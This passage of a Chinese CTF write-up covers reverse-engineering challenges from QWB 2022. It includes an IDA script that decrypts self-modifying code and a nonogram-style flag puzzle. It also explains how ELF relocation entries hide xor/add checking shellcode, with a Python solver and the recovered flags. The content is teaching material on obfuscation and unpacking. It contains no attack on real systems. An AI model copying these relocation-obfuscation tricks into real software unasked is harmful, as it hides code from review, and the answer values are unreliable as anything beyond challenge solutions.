data = [(8723, 820555419), (8739, 204439052), (8755, 2023331787), (8771, 1201749658), (8787, 2009001459), (8803, 309493069), (8819, 994139042), (8835, 244964220), (8851, 1752591519), (8867, 49674272), (8883, 654614966), (8899, 153701618), (8915, 1413690375), (8931, 1296770320), (8947, 869022979), (8963, 607264832), (8979, 391671420), (8995, 1843735205), (9011, 959349745), (9027, 1171212523), (9043, 1553663100), (9059, 1780021933), (9075, 707165593), (9091, 682689494), (9107, 1143664716), (9123, 103763972), (9139, 79067989), (9155, 1334379513), (9171, 1198796057), (9187, 402529623), (9203, 1042963942), (9219, 983905083), (9235, 1854610108), (9251, 152975389), (9267, 2089964716), (9283, 812746300), (9299, 471175148), (9315, 976296130), (9331, 1037758217)]

for d in data:
    b = list(md5(str(d[1]).encode()).digest()[8:])
    p = []
    for i in range(8):
        p.append(b[i] ^ get_byte(addr+i))
    patch_bytes(addr, bytes(p))
    addr += 0x10

print('Done.')

随后 re3 会再次抛出 SIGTRAP,easyre 捕获后用同样的方法将 re3 中的代码复原,因此,也可以在第一次 INT 3 时下断点,从内存映像中得到 re3还原代码后,将 INT 3 附近指令 NOP,make code -> make function 后查看伪代码,此处会遇到 IDA 无法创建函数的情况,Undefine 对应位置后重新 make code 即可解决,还原后部分指令如图

强网杯2022 By W&M

分析 re3 的 check 逻辑,两个 25x25 矩阵分别代表行/列中连续 1 字符串的排列,最终问题转化为类似数独问题,需要注意比对的矩阵中,byte_5320 在 init 函数调用时被 sub_257D 赋值,对应数据在 unk_3020 处,得到两个比对矩阵后,分析比对逻辑

强网杯2022 By W&M

每行/列的长度 25 数组第一个数表示该行/列中连续 1 字符串的个数,于是可以对矩阵进行处理,得到真实比对的矩阵

with open('arr1', 'rb') as f1:
    arr1 = list(f1.read())
with open('arr2', 'rb') as f2:
    arr2 = list(f2.read())

for i in range(25):
    new_arr1 = map(ord, arr1[25*i:25*i+25])
    num = new_arr1[0]
    for j in range(num+1, 25):
        new_arr1[j] = 0
    print(i+1, new_arr1[1:])
print()

for i in range(25):
    new_arr2 = map(ord, arr2[25*i:25*i+25])
    num = new_arr2[0]
    for j in range(num+1, 25):
        new_arr2[j] = 0
    print(i+1, new_arr2[1:])
print()

观察矩阵特征,结合提示的 flag 格式 FLAG{},可以通过推演得到最终的输入

强网杯2022 By W&M

可以看出对应的文字为

FLAG{I LOVE PLAY ctf_QWB2022}!!!!

deeprev

该程序包含了大量的重定位表项

强网杯2022 By W&M

使用命令 readelf -r 输出这些重定位表项

000000403ff0  000d00000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000403ff8  000e00000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000404040  000f00000005 R_X86_64_COPY     0000000000404040 secret + 0
000000804000  000000000008 R_X86_64_RELATIVE                    0
000000804000  000000000008 R_X86_64_RELATIVE                    0
00000080409c  000000000008 R_X86_64_RELATIVE                    404040
0000008040a4  000000000008 R_X86_64_RELATIVE                    1
0000008040cc  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
000000804000  000000000008 R_X86_64_RELATIVE                    0
000000804332  000000000008 R_X86_64_RELATIVE                    16008040cc253480
00000080433a  000000000008 R_X86_64_RELATIVE                    c3
0000008040b4  000000000008 R_X86_64_RELATIVE                    804332
0000008040ac  000000000008 R_X86_64_RELATIVE                    1000a0000001a
000000804332  000300000001 R_X86_64_64       0000000000804000 ^C + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    a53f62
0000008040a4  000000000008 R_X86_64_RELATIVE                    18
000000804332  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
000000804000  000000000008 R_X86_64_RELATIVE                    0
00000080440a  000000000008 R_X86_64_RELATIVE                    8040cc250480
000000804412  000000000008 R_X86_64_RELATIVE                    c3
0000008040b4  000000000008 R_X86_64_RELATIVE                    80440a
0000008040ac  000000000008 R_X86_64_RELATIVE                    1000a0000001a
00000080440a  000300000001 R_X86_64_64       0000000000804000 ^C + 0
00000080440a  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    8040cc
0000008040a4  000000000008 R_X86_64_RELATIVE                    1
0000008042ba  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    404041
0000008040cc  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
000000804000  000000000008 R_X86_64_RELATIVE                    0
00000080452a  000000000008 R_X86_64_RELATIVE                    17008040cc253480
000000804532  000000000008 R_X86_64_RELATIVE                    c3
0000008040b4  000000000008 R_X86_64_RELATIVE                    80452a
0000008040ac  000000000008 R_X86_64_RELATIVE                    1000a0000001a
00000080452a  000300000001 R_X86_64_64       0000000000804000 ^C + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    a53f62
0000008040a4  000000000008 R_X86_64_RELATIVE                    18
00000080452a  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
000000804000  000000000008 R_X86_64_RELATIVE                    0
000000804602  000000000008 R_X86_64_RELATIVE                    1008040cc250480
00000080460a  000000000008 R_X86_64_RELATIVE                    c3
0000008040b4  000000000008 R_X86_64_RELATIVE                    804602
0000008040ac  000000000008 R_X86_64_RELATIVE                    1000a0000001a
000000804602  000300000001 R_X86_64_64       0000000000804000 ^C + 0
000000804602  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    8040cc
0000008040a4  000000000008 R_X86_64_RELATIVE                    1
0000008042bb  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    404042
0000008040cc  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
000000804000  000000000008 R_X86_64_RELATIVE                    0
000000804722  000000000008 R_X86_64_RELATIVE                    10008040cc253480
00000080472a  000000000008 R_X86_64_RELATIVE                    c3
0000008040b4  000000000008 R_X86_64_RELATIVE                    804722
0000008040ac  000000000008 R_X86_64_RELATIVE                    1000a0000001a
000000804722  000300000001 R_X86_64_64       0000000000804000 ^C + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    a53f62
0000008040a4  000000000008 R_X86_64_RELATIVE                    18
000000804722  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
000000804000  000000000008 R_X86_64_RELATIVE                    0
0000008047fa  000000000008 R_X86_64_RELATIVE                    2008040cc250480
000000804802  000000000008 R_X86_64_RELATIVE                    c3
0000008040b4  000000000008 R_X86_64_RELATIVE                    8047fa
0000008040ac  000000000008 R_X86_64_RELATIVE                    1000a0000001a
0000008047fa  000300000001 R_X86_64_64       0000000000804000 ^C + 0
0000008047fa  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    8040cc
0000008040a4  000000000008 R_X86_64_RELATIVE                    1
0000008042bc  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    404043
0000008040cc  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
000000804000  000000000008 R_X86_64_RELATIVE                    0
00000080491a  000000000008 R_X86_64_RELATIVE                    12008040cc253480
000000804922  000000000008 R_X86_64_RELATIVE                    c3
0000008040b4  000000000008 R_X86_64_RELATIVE                    80491a
0000008040ac  000000000008 R_X86_64_RELATIVE                    1000a0000001a
00000080491a  000300000001 R_X86_64_64       0000000000804000 ^C + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    a53f62
0000008040a4  000000000008 R_X86_64_RELATIVE                    18
00000080491a  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
000000804000  000000000008 R_X86_64_RELATIVE                    0
0000008049f2  000000000008 R_X86_64_RELATIVE                    3008040cc250480
0000008049fa  000000000008 R_X86_64_RELATIVE                    c3
0000008040b4  000000000008 R_X86_64_RELATIVE                    8049f2
0000008040ac  000000000008 R_X86_64_RELATIVE                    1000a0000001a
0000008049f2  000300000001 R_X86_64_64       0000000000804000 ^C + 0
0000008049f2  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    8040cc
0000008040a4  000000000008 R_X86_64_RELATIVE                    1
0000008042bd  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    404044
0000008040cc  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
000000804000  000000000008 R_X86_64_RELATIVE                    0
000000804b12  000000000008 R_X86_64_RELATIVE                    10008040cc253480
000000804b1a  000000000008 R_X86_64_RELATIVE                    c3
0000008040b4  000000000008 R_X86_64_RELATIVE                    804b12
0000008040ac  000000000008 R_X86_64_RELATIVE                    1000a0000001a
000000804b12  000300000001 R_X86_64_64       0000000000804000 ^C + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    a53f62
0000008040a4  000000000008 R_X86_64_RELATIVE                    18
000000804b12  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
000000804000  000000000008 R_X86_64_RELATIVE                    0
000000804bea  000000000008 R_X86_64_RELATIVE                    4008040cc250480
000000804bf2  000000000008 R_X86_64_RELATIVE                    c3
0000008040b4  000000000008 R_X86_64_RELATIVE                    804bea
0000008040ac  000000000008 R_X86_64_RELATIVE                    1000a0000001a
000000804bea  000300000001 R_X86_64_64       0000000000804000 ^C + 0
000000804bea  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    8040cc
0000008040a4  000000000008 R_X86_64_RELATIVE                    1
0000008042be  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    404045
0000008040cc  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
000000804000  000000000008 R_X86_64_RELATIVE                    0
000000804d0a  000000000008 R_X86_64_RELATIVE                    11008040cc253480
000000804d12  000000000008 R_X86_64_RELATIVE                    c3
0000008040b4  000000000008 R_X86_64_RELATIVE                    804d0a
0000008040ac  000000000008 R_X86_64_RELATIVE                    1000a0000001a
000000804d0a  000300000001 R_X86_64_64       0000000000804000 ^C + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    a53f62
0000008040a4  000000000008 R_X86_64_RELATIVE                    18
000000804d0a  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
000000804000  000000000008 R_X86_64_RELATIVE                    0
000000804de2  000000000008 R_X86_64_RELATIVE                    5008040cc250480
000000804dea  000000000008 R_X86_64_RELATIVE                    c3
0000008040b4  000000000008 R_X86_64_RELATIVE                    804de2
0000008040ac  000000000008 R_X86_64_RELATIVE                    1000a0000001a
000000804de2  000300000001 R_X86_64_64       0000000000804000 ^C + 0
000000804de2  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    8040cc
0000008040a4  000000000008 R_X86_64_RELATIVE                    1
0000008042bf  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0
00000080409c  000000000008 R_X86_64_RELATIVE                    404046
0000008040cc  000200000005 R_X86_64_COPY     0000000000804000 ^B + 0

重点注意以下项

00000080440a  000000000008 R_X86_64_RELATIVE                    8040cc250480
000000804412  000000000008 R_X86_64_RELATIVE                    c3

由于重定位表的区域有可执行属性,且这里出现了 C3 (ret) 尝试将上边的数据 8040cc250480 反汇编一下

80 04 25 CC 40 80 00 E8                 add     byte ptr 8405196, 0E8h
C3                                      ret

显而易见了,利用重定位修改代码验证了 flag 的正确性,手工将所有的 shellcode 转换为汇编

mov [0x804332], 0x16008040cc253480 ; xor byte ptr ds:[8040CC],16
mov [0x80433a], 0xc3 ; ret

mov [0x80440a], 0x8040cc250480 ; add byte ptr ds:[8040CC],0
mov [0x804412], 0xc3 ; ret

mov [0x80452a], 0x17008040cc253480 ; xor byte ptr ds:[8040CC],17
mov [0x804532], 0xc3

mov [0x804602], 0x1008040cc250480 ; add byte ptr ds:[8040CC],1
mov [0x80460a], 0xc3

mov [0x804722], 0x10008040cc253480 ; xor byte ptr ds:[8040CC],10
mov [0x80472a], 0xc3

mov [0x8047fa], 0x2008040cc250480
mov [0x804802], 0xc3

mov [0x80491a], 0x12008040cc253480 ; xor byte ptr ds:[8040CC],12
mov [0x804922], 0xc3

mov [0x8049f2], 0x3008040cc250480
mov [0x8049fa], 0xc3

mov [0x804b12], 0x10008040cc253480 ; xor byte ptr ds:[8040CC],10
mov [0x804b1a], 0xc3

mov [0x804bea], 0x4008040cc250480
mov [0x804bf2], 0xc3

mov [0x804d0a], 0x11008040cc253480 ; xor byte ptr ds:[8040CC],11
mov [0x804d12], 0xc3

mov [0x804de2], 0x5008040cc250480
mov [0x804dea], 0xc3

mov [0x804f02], 0x12008040cc253480 ; xor byte ptr ds:[8040CC],12
mov [0x804f0a], 0xc3

mov [0x804fda], 0x6008040cc250480
mov [0x804fe2], 0xc3

mov [0x8050fa], 0x13008040cc253480 ; xor byte ptr ds:[8040CC],13
mov [0x805102], 0xc3

mov [0x8051d2], 0x7008040cc250480
mov [0x8051da], 0xc3

mov [0x8052f2], 0x14008040cc253480 ; xor byte ptr ds:[8040CC],14
mov [0x8052fa], 0xc3

mov [0x8053ca], 0x8008040cc250480
mov [0x8053d2], 0xc3

mov [0x8054ea], 0x15008040cc253480 ; xor byte ptr ds:[8040CC],15
mov [0x8054f2], 0xc3

mov [0x8055c2], 0x9008040cc250480
mov [0x8055ca], 0xc3

mov [0x8056e2], 0x16008040cc253480 ; xor byte ptr ds:[8040CC],16
mov [0x8056ea], 0xc3

mov [0x8057ba], 0xa008040cc250480
mov [0x8057c2], 0xc3

mov [0x8058da], 0x17008040cc253480 ; xor byte ptr ds:[8040CC],17
mov [0x8058e2], 0xc3

mov [0x8059b2], 0xb008040cc250480
mov [0x8059ba], 0xc3

mov [0x805ad2], 0x18008040cc253480 ; xor byte ptr ds:[8040CC],18
mov [0x805ada], 0xc3

mov [0x805baa], 0xc008040cc250480
mov [0x805bb2], 0xc3

mov [0x805cca], 0x19008040cc253480
mov [0x805cd2], 0xc3

mov [0x805da2], 0xd008040cc250480
mov [0x805daa], 0xc3

mov [0x805ec2], 0x24008040cc253480
mov [0x805eca], 0xc3

mov [0x805f9a], 0xe008040cc250480
mov [0x805fa2], 0xc3

mov [0x8060ba], 0x2c008040cc253480
mov [0x8060c2], 0xc3

mov [0x806192], 0xf008040cc250480
mov [0x80619a], 0xc3

mov [0x8062b2], 0x26008040cc253480
mov [0x8062ba], 0xc3

mov [0x80638a], 0x10008040cc250480
mov [0x806392], 0xc3

mov [0x8064aa], 0x1e008040cc253480
mov [0x8064b2], 0xc3

mov [0x806582], 0x11008040cc250480
mov [0x80658a], 0xc3

mov [0x8066a2], 0x1f008040cc253480
mov [0x8066aa], 0xc3

mov [0x80677a], 0x12008040cc250480
mov [0x806782], 0xc3

mov [0x80689a], 0x20008040cc253480
mov [0x8068a2], 0xc3

mov [0x806972], 0x13008040cc250480
mov [0x80697a], 0xc3

mov [0x806a92], 0x20008040cc253480
mov [0x806a9a], 0xc3

mov [0x806b6a], 0x14008040cc250480
mov [0x806b72], 0xc3

mov [0x806c8a], 0x21008040cc253480
mov [0x806c92], 0xc3

mov [0x806d62], 0x15008040cc250480
mov [0x806d6a], 0xc3

mov [0x806e82], 0x23008040cc253480
mov [0x806e8a], 0xc3

mov [0x806f5a], 0x16008040cc250480
mov [0x806f62], 0xc3

mov [0x80707a], 0x27008040cc253480
mov [0x807082], 0xc3

mov [0x807152], 0x17008040cc250480
mov [0x80715a], 0xc3

mov [0x807272], 0x24008040cc253480
mov [0x80727a], 0xc3

mov [0x80734a], 0x18008040cc250480
mov [0x807352], 0xc3

mov [0x80746a], 0x25008040cc253480
mov [0x807472], 0xc3

mov [0x807542], 0x19008040cc250480
mov [0x80754a], 0xc3

mov [0x807662], 0x26008040cc253480
mov [0x80766a], 0xc3

mov [0x80773a], 0x1a008040cc250480
mov [0x807742], 0xc3

mov [0x80785a], 0x27008040cc253480
mov [0x807862], 0xc3

mov [0x807932], 0x1b008040cc250480
mov [0x80793a], 0xc3

mov [0x807ab2], 0x70008040fc253480 ; xor byte ptr ds:[8040FC],70
mov [0x807aba], 0xc3

mov [0x807c4a], 0x7c008040fc253480 ; xor byte ptr ds:[8040FC],7C
mov [0x807c52], 0xc3

mov [0x807de2], 0x73008040fc253480
mov [0x807dea], 0xc3

mov [0x807f7a], 0x78008040fc253480
mov [0x807f82], 0xc3

mov [0x808112], 0x6f008040fc253480
mov [0x80811a], 0xc3

mov [0x8082aa], 0x27008040fc253480
mov [0x8082b2], 0xc3

mov [0x808442], 0x2a008040fc253480
mov [0x80844a], 0xc3

mov [0x8085da], 0x2c008040fc253480
mov [0x8085e2], 0xc3

mov [0x808772], 0x7f008040fc253480
mov [0x80877a], 0xc3

mov [0x80890a], 0x35008040fc253480
mov [0x808912], 0xc3

mov [0x808aa2], 0x2d008040fc253480
mov [0x808aaa], 0xc3

mov [0x808c3a], 0x32008040fc253480
mov [0x808c42], 0xc3

mov [0x808dd2], 0x37008040fc253480
mov [0x808dda], 0xc3

mov [0x808f6a], 0x3b008040fc253480
mov [0x808f72], 0xc3

mov [0x809102], 0x22008040fc253480
mov [0x80910a], 0xc3

mov [0x80929a], 0x59008040fc253480
mov [0x8092a2], 0xc3

mov [0x809432], 0x53008040fc253480
mov [0x80943a], 0xc3

mov [0x8095ca], -0x71ff7fbf03dacb80
mov [0x8095d2], 0xc3

mov [0x809762], 0x3d008040fc253480
mov [0x80976a], 0xc3

mov [0x8098fa], 0x2a008040fc253480
mov [0x809902], 0xc3

mov [0x809a92], 0x59008040fc253480
mov [0x809a9a], 0xc3

mov [0x809c2a], 0x27008040fc253480
mov [0x809c32], 0xc3

mov [0x809dc2], 0x2d008040fc253480
mov [0x809dca], 0xc3

mov [0x809f5a], 0x29008040fc253480
mov [0x809f62], 0xc3

mov [0x80a0f2], 0x34008040fc253480
mov [0x80a0fa], 0xc3

mov [0x80a28a], 0x2d008040fc253480
mov [0x80a292], 0xc3

mov [0x80a422], 0x61008040fc253480
mov [0x80a42a], 0xc3

mov [0x80a5ba], 0x32008040fc253480
mov [0x80a5c2], 0xc3

mov [0x80a992], 0x6c0080415c253480 ; xor byte ptr ds:[80415C],6C
mov [0x80a99a], 0xc3

mov [0x80ae2a], -0x5eff7fbea3dacb80 ; xor byte ptr ds:[80415C],A1
mov [0x80ae32], 0xc3

mov [0x80b262], -0x4eff7fbea3dacb80 ; xor byte ptr ds:[80415C],B1
mov [0x80b26a], 0xc3

mov [0x80b6fa], -0x1aff7fbea3dacb80 ; xor byte ptr ds:[80415C],E5
mov [0x80b702], 0xc3

算法就是简单的 xor + add 写个脚本解之

import hashlib

flag = ''

trans = [0x16, 0x17, 0x10, 0x12, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x24, 0x2c, 0x26, 0x1e, 0x1f, 0x20, 0x20, 0x21, 0x23, 0x27, 0x24, 0x25, 0x26, 0x27]
check = [0x70, 0x7c, 0x73, 0x78, 0x6f, 0x27, 0x2a, 0x2c, 0x7f, 0x35, 0x2d, 0x32, 0x37, 0x3b, 0x22, 0x59, 0x53, 0x8e, 0x3d, 0x2a, 0x59, 0x27, 0x2d, 0x29, 0x34, 0x2d, 0x61, 0x32]

for i in range(len(check)):
    flag += chr(trans[i] ^ check[i] - i)

flagc = flag + '%c%c%c}'

for i in range(32,123):
    for j in range(32,123):
        for k in range(32,123):
            flagx = flagc % (chr(i),chr(j),chr(k))
            if hashlib.sha256(flagx.encode('utf-8')).hexdigest()[:16] == 'f860464d767610bb':
                print(flagx)
                break

求得最终的 flag 为 flag{366c950370fec47e34581a0574}

FROM : wm-team.cn

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月13日22:09:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   强网杯2022 By W&Mhttps://cn-sec.com/archives/3165624.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息